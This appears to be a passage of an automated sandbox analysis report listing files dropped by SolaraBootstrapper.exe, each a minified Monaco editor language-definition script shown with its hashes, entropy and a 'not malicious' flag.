Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/markdown/markdown", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var i=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var o in e)s(t,o,{get:e[o],enumerable:!0})},m=(t,e,o,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!i.call(t,n)&&n!==o&&s(t,n,{get:()=>e[n],enumerable:!(a=r(e,n))\|\|a.enumerable});return t};var d=t=>m(s({},"__esModule",{value:!0}),t);var b={};l(b,{conf:()=>p,language:()=>g});var p={comments:{blockComment:[" ","-

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\mdx\mdx.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5457)
Category:	dropped
Size (bytes):	5956
Entropy (8bit):	5.389474005763087
Encrypted:	false
SSDEEP:	96:pQFDHnYRsvsV///MwChmQgNujV1+73PVkd2wQkHmRUlmKo4riz0625EQ2OC7j/g3:G9YVJD0KGBlZcQ2OC7j/g3
MD5:	F4FBE65AC8368AE95154F94E294B70B0
SHA1:	A0EC67FC033B4DDA8C86FF4576AAE27E875EFCE2
SHA-256:	12E41644E29F943E567E09043AC95F9AFE3A12F78221662A7C35561424D30AB6
SHA-512:	A70E0BEC4C66AE7589F33898BE700EEDCA34D47C330AEE4DDB1BC70881D25784A6C4CF782F40901920FD196E0F74813EB3F20BEB35D9A329BEB7491A7BB34EE1
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/mdx/mdx", ["require","require"],(require)=>{.var moduleExports=(()=>{var x=Object.create;var r=Object.defineProperty;var m=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var b=Object.getPrototypeOf,g=Object.prototype.hasOwnProperty;var h=(e=>typeof require!="undefined"?require:typeof Proxy!="undefined"?new Proxy(e,{get:(t,n)=>(typeof require!="undefined"?require:t)[n]}):e)(function(e){if(typeof require!="undefined")return require.apply(this,arguments);throw new Error('Dynamic require of "'+e+'" is not supported')});var f=(e,t)=>()=>(t\|\|e((t={exports

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\mips\mips.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2901)
Category:	dropped
Size (bytes):	3402
Entropy (8bit):	5.378643167874997
Encrypted:	false
SSDEEP:	96:pQFDHnYRs/b+/E5K83I0xqzJzDWqivUcme+fcAr6fmlW:G9YmdKWqzdTinmTcAr6f3
MD5:	052FB8D724FCD43EC01697532CDAF113
SHA1:	B264E5C86E37F6B11C06101D6DFAF4A9622EAD74
SHA-256:	5EE4997C552F1F6BC4DECA08BBE628B9369AF09E5A94770BE18CD419963D834D
SHA-512:	7176219436B8AC34B3AAAA8312A246057E4179FC97C1D45C1FAF8C0BE87BFC8DE4EBF07AF89E30308473AA783915BD4F39AFE7D1100A3EE2B50064DFFCF5C710
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/mips/mips", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var o=Object.getOwnPropertyNames;var g=Object.prototype.hasOwnProperty;var l=(t,e)=>{for(var n in e)s(t,n,{get:e[n],enumerable:!0})},d=(t,e,n,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let r of o(e))!g.call(t,r)&&r!==n&&s(t,r,{get:()=>e[r],enumerable:!(i=a(e,r))\|\|i.enumerable});return t};var m=t=>d(s({},"__esModule",{value:!0}),t);var x={};l(x,{conf:()=>p,language:()=>u});var p={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\msdax\msdax.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5234)
Category:	dropped
Size (bytes):	5737
Entropy (8bit):	5.465257002365471
Encrypted:	false
SSDEEP:	96:pQFDHnYRsS+/kWrviqgq+q17qN/E18Qby0qbmofEsl93Bjy2rzR9sJDJOuz3O+Pn:G9YxmrTX8Ey0UJfEI9z+zz3O+PYLZy4m
MD5:	BFB76AAFEBE565636C68AAC6095A7AFD
SHA1:	0751212755B4ACDE2CE6D30FCF551BB94BA10825
SHA-256:	F53EC8830DBA059C6F9FFE5D74AD6556372C927E4465EBEB6C27E1C7F915157D
SHA-512:	DFC1DB5BE67B1F9DA82E40F18D5646072F7DA999393AA34776740077BC83CFC67091E8AACB776DA574001604B7E3A38408A9428A1300E83C71DC3C63B076F730
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/msdax/msdax", ["require","require"],(require)=>{.var moduleExports=(()=>{var e=Object.defineProperty;var I=Object.getOwnPropertyDescriptor;var O=Object.getOwnPropertyNames;var S=Object.prototype.hasOwnProperty;var n=(T,E)=>{for(var N in E)e(T,N,{get:E[N],enumerable:!0})},t=(T,E,N,R)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let A of O(E))!S.call(T,A)&&A!==N&&e(T,A,{get:()=>E[A],enumerable:!(R=I(E,A))\|\|R.enumerable});return T};var L=T=>t(e({},"__esModule",{value:!0}),T);var D={};n(D,{conf:()=>C,language:()=>o});var C={comments:{lineComment:"//",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\mysql\mysql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (11596)
Category:	dropped
Size (bytes):	12099
Entropy (8bit):	5.319774799341256
Encrypted:	false
SSDEEP:	192:G9Yw0XLxTgsX+lz/zvS6GEQ+izEdfANAM+U+hqXP0BpR2/6AVzIAtCH2jZLbf9bB:G4LxTFX+lfS6YUlANR060BpR2/6AVzIu
MD5:	64226E32D6370034F3FB02C77E032A21
SHA1:	F7BCAA92FE493FEEECB6002AB11458E475E6DFEF
SHA-256:	CA45C24C9ECCC351207C790FCE382C66EE66E3B74562DEC74F3AD306CCF1687A
SHA-512:	5372F818D1721F988434175AB4704AF0893E079631F8C9158046DE282D12E8E2A2B84F317F6491B1FCD626393AF4B126602FB9270FAA0F9774E7A0D2CDDD196D
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/mysql/mysql", ["require","require"],(require)=>{.var moduleExports=(()=>{var A=Object.defineProperty;var e=Object.getOwnPropertyDescriptor;var I=Object.getOwnPropertyNames;var N=Object.prototype.hasOwnProperty;var o=(T,E)=>{for(var R in E)A(T,R,{get:E[R],enumerable:!0})},O=(T,E,R,_)=>{if(E&&typeof E=="object"\|\|typeof E=="function")for(let S of I(E))!N.call(T,S)&&S!==R&&A(T,S,{get:()=>E[S],enumerable:!(_=e(E,S))\|\|_.enumerable});return T};var t=T=>O(A({},"__esModule",{value:!0}),T);var L={};o(L,{conf:()=>n,language:()=>C});var n={comments:{lineComment:"--",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\objective-c\objective-c.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2724)
Category:	dropped
Size (bytes):	3239
Entropy (8bit):	5.272204051567214
Encrypted:	false
SSDEEP:	96:pQFDHnYRsNr+/ENQrbV1+/0V1+/0mTElRVACaV2Zz:G9YiarTxWwlRVSa
MD5:	F086E871F5E2E4E4DCAC82BCF4047DC3
SHA1:	B4BDBE871A9C42FCED591085E30C81665A6A1C46
SHA-256:	15B5F02919DF2434A0D0305C301CF6450C98E0076FBFEE1BAAEF93D339B2102C
SHA-512:	E3814E4FCF3B6612DC4604FAAE202CF3C8501CFD3FBEA9328906D0A9F6FB5125DC806A43AE45B0580237FB69F70DC7067AF6234B3C7717B8C2CFF49493F8B90F
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/objective-c/objective-c", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var l=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},p=(o,e,t,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!a.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(i=r(e,n))\|\|i.enumerable});return o};var d=o=>p(s({},"__esModule",{value:!0}),o);var u={};l(u,{conf:()=>g,language:()=>m});var g={comments:{lineComment:"//",

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pascal\pascal.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3317)
Category:	dropped
Size (bytes):	3822
Entropy (8bit):	5.199030723755683
Encrypted:	false
SSDEEP:	96:pQFDHnYRsF+/E8uqx+rVV1+h0V1+htq1csPr8d7jmT/7B171wGcGOD:G9Y/+rxTtdre3Y7bZi3
MD5:	EBB86D239DD240BDCF3F7A0475615BF6
SHA1:	9AF87F1CDB76FF0A701D6720DB22CEF7944E57C2
SHA-256:	EA9B0CD3DF7BA28F7F9B4B484508D402096026C62399995278931CB91B45F3A1
SHA-512:	0C4A7D7CC6A2BE95951C91846ADEFBE439DD1AA4897DC89EF5E5F6053E29C07A364C4D4B70A6F6F36D90DAEEFDF48DF97E8306C23534FCC60CC2CF5C82681720
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pascal/pascal", ["require","require"],(require)=>{.var moduleExports=(()=>{var n=Object.defineProperty;var s=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(t,e)=>{for(var r in e)n(t,r,{get:e[r],enumerable:!0})},d=(t,e,r,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let o of a(e))!l.call(t,o)&&o!==r&&n(t,o,{get:()=>e[o],enumerable:!(i=s(e,o))\|\|i.enumerable});return t};var p=t=>d(n({},"__esModule",{value:!0}),t);var g={};c(g,{conf:()=>m,language:()=>u});var m={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pascaligo\pascaligo.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2322)
Category:	dropped
Size (bytes):	2833
Entropy (8bit):	5.276319973509025
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs1q+/E4HgUr5Xz0V1+hn0V1+hGkq1c/ChOa1Ta1xFiWwGcu08NQWp:pQFDHnYRsc+/EnUrmV1+h0V1+hrq1cKo
MD5:	7CD7C5A710B6F648343C3DC509627CAE
SHA1:	B3D7AD22D56D99583663BA70452F5505AB286032
SHA-256:	11CF852948FC74873E7F58BD88C34E7AFF02E3655FAA2B75D741FAB0E07A1922
SHA-512:	91D0E17EF3E6439DE584B0D0ACC79282BEC82FE1D358C55C49D71EBBF8595FECD094173526AB7ED85D6509CFC26C9A3F80A4108DD0051B84048D42342AEC1BBD
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pascaligo/pascaligo", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var i=Object.getOwnPropertyDescriptor;var a=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(o,e)=>{for(var t in e)s(o,t,{get:e[t],enumerable:!0})},m=(o,e,t,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of a(e))!l.call(o,n)&&n!==t&&s(o,n,{get:()=>e[n],enumerable:!(r=i(e,n))\|\|r.enumerable});return o};var p=o=>m(s({},"__esModule",{value:!0}),o);var u={};c(u,{conf:()=>d,language:()=>g});var d={comments:{lineComment:"//",bloc

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\perl\perl.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8577)
Category:	dropped
Size (bytes):	9078
Entropy (8bit):	5.485443479366475
Encrypted:	false
SSDEEP:	192:G9Y5D7i1x13K3752aCJIzbxAM+OBUv1a72L0039Td7:GIi1x13gF2awIzdALvLf3D7
MD5:	8E3555E7568083AFD4DF43CA61D9A1D8
SHA1:	AD70A170EFD01CF9905ED1533B4F6D4F25655316
SHA-256:	1D5EEE661DA60FBA32173970D751B604FBC0DAA160BC4463128EE35EA5E306FE
SHA-512:	BEE587D9C638A7341FB390E194592DD98C557648A30156656B209D13941A073DF8D354DD57B8B139842E3E36E835D4AB5D46183217C3FF07B7A725BF7DE40F62
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/perl/perl", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var l=Object.getOwnPropertyNames;var d=Object.prototype.hasOwnProperty;var a=(t,e)=>{for(var n in e)r(t,n,{get:e[n],enumerable:!0})},$=(t,e,n,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of l(e))!d.call(t,s)&&s!==n&&r(t,s,{get:()=>e[s],enumerable:!(i=o(e,s))\|\|i.enumerable});return t};var c=t=>$(r({},"__esModule",{value:!0}),t);var m={};a(m,{conf:()=>g,language:()=>p});var g={comments:{lineComment:"#"},brackets:[["{"

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pgsql\pgsql.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (13786)
Category:	dropped
Size (bytes):	14289
Entropy (8bit):	4.982761785168889
Encrypted:	false
SSDEEP:	384:GSULxaaCfwScWjRqvLCBX2ffO4ICe9basF:fULxaaC43URqveXSO4IzGsF
MD5:	22ED3B43982BA51BABBF903F9F6E7B39
SHA1:	3C3A3AE192C44F3232D0355E291A2B122D4BA746
SHA-256:	354896AE790E785E67E7F0FE20836E49B8650413EBEBC0A497E600CD9BAEBB2A
SHA-512:	6464F98F687D0DE4E35B0BE1A0A2F8267D40072BFD2D79BE911225ADD402BFE753EC7C5E945A2DCF19A7DFE2260AABF2AD360AD4A72BE3790BBD77B65E7F1C66
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pgsql/pgsql", ["require","require"],(require)=>{.var moduleExports=(()=>{var r=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var n=Object.prototype.hasOwnProperty;var p=(_,e)=>{for(var s in e)r(_,s,{get:e[s],enumerable:!0})},l=(_,e,s,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of i(e))!n.call(_,t)&&t!==s&&r(_,t,{get:()=>e[t],enumerable:!(a=o(e,t))\|\|a.enumerable});return _};var g=_=>l(r({},"__esModule",{value:!0}),_);var m={};p(m,{conf:()=>c,language:()=>d});var c={comments:{lineComment:"--",blockComment

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\php\php.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	exported SGML document, ASCII text, with very long lines (8349)
Category:	dropped
Size (bytes):	8848
Entropy (8bit):	5.400560472440332
Encrypted:	false
SSDEEP:	192:G9YnW+rr8hRld2BZwd0C4Ov6f+AME/gujck1wIJ3tjPG:Gn+rr8DxPSVrgk1w+3tC
MD5:	A8B61ABECDB513D6103D45783D5496A0
SHA1:	A33BCDBD4580BE4351E58BB4405B2D9170C04663
SHA-256:	621F1298E5CE5879F6EC3F8EE887B0039D288690F2529752C13C5BA7166CAED7
SHA-512:	171A706DFA046315635B2293400B8CF8E0364745EE98F99402B2AAD0177FFBB5B2AA7BC64C72A0E1932E3B17D23CC92E2CEFD8C6E46428EB233C7F3C6667F752
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/php/php", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var o=Object.getOwnPropertyDescriptor;var m=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var s=(t,e)=>{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},h=(t,e,n,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let p of m(e))!a.call(t,p)&&p!==n&&i(t,p,{get:()=>e[p],enumerable:!(r=o(e,p))\|\|r.enumerable});return t};var l=t=>h(i({},"__esModule",{value:!0}),t);var u={};s(u,{conf:()=>d,language:()=>c});var d={wordPattern:/(-?\d\.\d\w)\|([^\`\~\!\@\#\%

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pla\pla.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (2005)
Category:	dropped
Size (bytes):	2504
Entropy (8bit):	5.289439593338341
Encrypted:	false
SSDEEP:	48:pQFDHn43tZRs8c+/EOqHfcx5er20h1C0h1PY1gn6X3ZLBHsDkngfJyX61FDzT:pQFDHnYRs9+/EO6m5Kh1Jh1PY1gn63Tq
MD5:	FA7111ACF3BAED2B702DDA6F3DBFD195
SHA1:	D51AD22834D0CD9E174D354C513A696FDC676B31
SHA-256:	65D24FD68D69EDBB30B01953C044E3502BAC0205E7A9DB0447E38562383BDDDD
SHA-512:	CA38B26867155777945CC0FC1E579E215F79B5FC03C8423622EF9E1BEBF7AB1FC23C45BCE26F2FC0AD374A1EC0C63BFC229F221258509DDDA5931FDAC69FE369
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/pla/pla", ["require","require"],(require)=>{.var moduleExports=(()=>{var s=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var r=Object.getOwnPropertyNames;var p=Object.prototype.hasOwnProperty;var l=(o,e)=>{for(var n in e)s(o,n,{get:e[n],enumerable:!0})},c=(o,e,n,i)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let t of r(e))!p.call(o,t)&&t!==n&&s(o,t,{get:()=>e[t],enumerable:!(i=a(e,t))\|\|i.enumerable});return o};var d=o=>c(s({},"__esModule",{value:!0}),o);var u={};l(u,{conf:()=>k,language:()=>m});var k={comments:{lineComment:"#"},brackets:[["[","

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\postiats\postiats.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8178)
Category:	dropped
Size (bytes):	8687
Entropy (8bit):	5.317344954369455
Encrypted:	false
SSDEEP:	192:G9YvATrsHJNHUKhfdGiAQ3Sv0vExaeZtSkgsh:GDrspNHsQ3SMMYc/
MD5:	D15486DBF13FFD1D0BC4B2F70C444CC1
SHA1:	53606B586DDCE79767A5CD7F82BDA30711A77B92
SHA-256:	71E5EB8CAAF7112E99C4B7C6BEFAFC1805B47F3460AB520B22A1DF07B65F9FC3
SHA-512:	1C3992421D4A7E3C10C746EA38973057C9A27A03D3DB51005BF3357EC07F6B5189866E975F50F6E9B1CFC37721492F649761001C27CC82937C3316B44A487E62
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/postiats/postiats", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var a=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var c=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var o in e)i(t,o,{get:e[o],enumerable:!0})},l=(t,e,o,r)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of s(e))!c.call(t,n)&&n!==o&&i(t,n,{get:()=>e[n],enumerable:!(r=a(e,n))\|\|r.enumerable});return t};var d=t=>l(i({},"__esModule",{value:!0}),t);var g={};p(g,{conf:()=>m,language:()=>x});var m={comments:{lineComment:"//",blockC

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\powerquery\powerquery.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (17261)
Category:	dropped
Size (bytes):	17774
Entropy (8bit):	5.109334056578057
Encrypted:	false
SSDEEP:	384:GA0rPW2Eoma/LPuYcZ9SWggnnDaWg5frZT8QjT7PC2KszxHQ2VOtJLIzIe2XkCk6:irPWcB116tQ/hSHiel
MD5:	BF69FE64761332FEA600143E414831EB
SHA1:	61131B8CBBD9BC45C54E6D40D9CD758C38425D79
SHA-256:	6A450D27DDDE2CA99A5A38734F11578FE67CC5240CE251931F9454BACA45516A
SHA-512:	CD46386807E5F2EF5900FCB28D35248FA89BD64C823A4831667973106C36A7FB2A14293243FF4ACCEB466701797D252AB16AB4B869538589AA498E2F27DB6543
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/powerquery/powerquery", ["require","require"],(require)=>{.var moduleExports=(()=>{var i=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var s=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var T=(t,e)=>{for(var n in e)i(t,n,{get:e[n],enumerable:!0})},m=(t,e,n,o)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let a of s(e))!l.call(t,a)&&a!==n&&i(t,a,{get:()=>e[a],enumerable:!(o=r(e,a))\|\|o.enumerable});return t};var u=t=>m(i({},"__esModule",{value:!0}),t);var b={};T(b,{conf:()=>d,language:()=>c});var d={comments:{lineComment:"//",bl

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\powershell\powershell.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (3591)
Category:	dropped
Size (bytes):	4104
Entropy (8bit):	5.521023817857264
Encrypted:	false
SSDEEP:	96:pQFDHnYRsW8+/EwoyGx+lsV1+K6V1+/pcnLsxxeGub2vLycArt6Gr9DLp:G9YL34+l0yUQQjMJ6Gr3
MD5:	BC7424AAB71B3C118625A40FD63F4B5E
SHA1:	2E33732B16770483B01E59D317BC7F4FA355A86C
SHA-256:	4E376A8005C85FB5BDDE94F900920A29FAAA2735A9ED9CA2F9E28ABEF231FED0
SHA-512:	EA96B33067A960F44065F8A004182C4A12285CAE4D23D038CFF804C45ECC148913481FDEF704E324DA8A344792CBF1745F77079585622246FCCCFEA002172E6A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/powershell/powershell", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var i=Object.getOwnPropertyNames;var l=Object.prototype.hasOwnProperty;var c=(n,e)=>{for(var t in e)o(n,t,{get:e[t],enumerable:!0})},g=(n,e,t,a)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let s of i(e))!l.call(n,s)&&s!==t&&o(n,s,{get:()=>e[s],enumerable:!(a=r(e,s))\|\|a.enumerable});return n};var p=n=>g(o({},"__esModule",{value:!0}),n);var u={};c(u,{conf:()=>d,language:()=>m});var d={wordPattern:/(-?\d\.\d\w)\|(

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\protobuf\protobuf.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (8409)
Category:	dropped
Size (bytes):	9877
Entropy (8bit):	5.223671892936882
Encrypted:	false
SSDEEP:	96:pQFDHnYRsy+/EgrbV1+h/cV1+hKcYq1cDPLITM4sV7Mu2hu2nS6jXBXFRWX4f6+G:G9YcrTNeOITRS6LxFRwWLkqMhGXO
MD5:	3D70B74FED0C171EE216597E497CCBA5
SHA1:	0939E92B22CAD0626FA8E2B50B1601F0251FE6E6
SHA-256:	6E62B15B050502ABEF7D2F721A2C395A4774BBD43E1E0B0B02DA2129BA8F663F
SHA-512:	78D664666A71B0CB65A6C15983684EB583DF005CAB0558F06AE073F4AFEF5F35260DDE6D8B7B3ADA30F7FC0A1DA467EEFFA4279FF9E14147C5FE960AA8407E1A
Malicious:	false
Preview:	"use strict";/!-----------------------------------------------------------------------------. Copyright (c) Microsoft Corporation. All rights reserved.. * Version: 0.45.0(5e5af013f8d295555a7210df0d5f2cea0bf5dd56). * Released under the MIT license. * https://github.com/microsoft/monaco-editor/blob/main/LICENSE.txt. -----------------------------------------------------------------------------/.define("vs/basic-languages/protobuf/protobuf", ["require","require"],(require)=>{.var moduleExports=(()=>{var o=Object.defineProperty;var r=Object.getOwnPropertyDescriptor;var c=Object.getOwnPropertyNames;var a=Object.prototype.hasOwnProperty;var p=(t,e)=>{for(var i in e)o(t,i,{get:e[i],enumerable:!0})},d=(t,e,i,s)=>{if(e&&typeof e=="object"\|\|typeof e=="function")for(let n of c(e))!a.call(t,n)&&n!==i&&o(t,n,{get:()=>e[n],enumerable:!(s=r(e,n))\|\|s.enumerable});return t};var l=t=>d(o({},"__esModule",{value:!0}),t);var m={};p(m,{conf:()=>u,language:()=>f});var k=["true","false"],u={comments:{line

C:\Users\user\AppData\Local\Temp\Solara.Dir\Monaco\min\vs\basic-languages\pug\pug.js

Download File

Process:	C:\Users\user\AppData\Local\Temp\SolaraBootstrapper.exe
File Type:	ASCII text, with very long lines (5150)
Category:	dropped
Size (bytes):	5649
Entropy (8bit):	5.178070019328666
Encrypted:	false
SSDEEP:	96:pQFDHnYRs6+/EJ3oreqgq+q+q1UcmFIfnzvN0EJ40LW+LmlgKGJ6V0+piF6ywZ6r:G9YFYrjUxQvKgK2boV0YivwZ6e3Ab
